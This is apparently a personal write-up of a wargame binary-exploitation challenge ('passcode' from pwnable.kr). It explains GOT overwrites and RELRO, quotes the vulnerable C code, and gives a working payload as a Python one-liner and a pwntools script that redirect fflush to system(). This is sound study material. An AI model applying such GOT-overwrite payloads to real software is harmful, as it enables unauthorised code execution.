• Partial RELRO means you can do GOT overwrites.
  • Full RELRO blocks them (marks the page as read-only after symbol resolution)

Learned a lot from https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html and https://www.akashtrehan.com/writeups/pwnablekr_todders_bottle/.

The point of this challenge is to teach you about GOT overwrites.

There’s a .plt.got and .got.plt section. I hate computers. .got.plt is the one that you want, as it contains addresses of library functions or addresses of code to call the linker to go resolve those addresses.

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);


	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
	scanf("%d", passcode2);

	if(passcode1==338150 && passcode2==13371337){
			printf("Login OK!\n");
			system("/bin/cat flag");
passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : ian
Welcome ian!
enter passcode1 : 3
Segmentation fault

First glance reading the code: fflush(stdin) is weird. It can be used to discard input that’s buffered, but not yet printed to screen, but it’s nonstandard.

Second glance: scanf("%d", passcode1); should be &passcode1. Recompiling the code throws a warning that makes this obvious.

Maxing out the name buffer leaves the last 4 bytes in the uninitialized passcode1 location. So, we can write any address we want there, and the first scanf will write the next value into that address.

We can’t reach passcode2 via the buffer, though (it’s not long enough). You might consider overwriting the return address of login, but that won’t work, because we can’t be able to get through the second printf() without segfaulting. But! We have the suspicious fflush.

fflush is libc, so we can do a GOT overwrite and simply replace its address with that of system() in the text section of the binary.

So, we:

  • Write "A"*96 + little_endian(GOT address for fflush)
  • Write the address we want to jump to (system in the binary)


  • python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "\n" + str(0x80485d7)' | ./passcode

pwntools script:

from pwn import *

# context.log_level = 'debug'

p = process("/home/passcode/passcode")
print util.proc.pidof(p)
# pause() # gdb connect

p.sendline("A"*96 + p32(0x804a004)) # GOT address for fflush

p.sendline(str(0x80485d7)) # address of system()
# p.interactive() # dumps everything. I'm kinda unsure how to fetch the
# output otherwise.
print p.recvall() # jk this does it.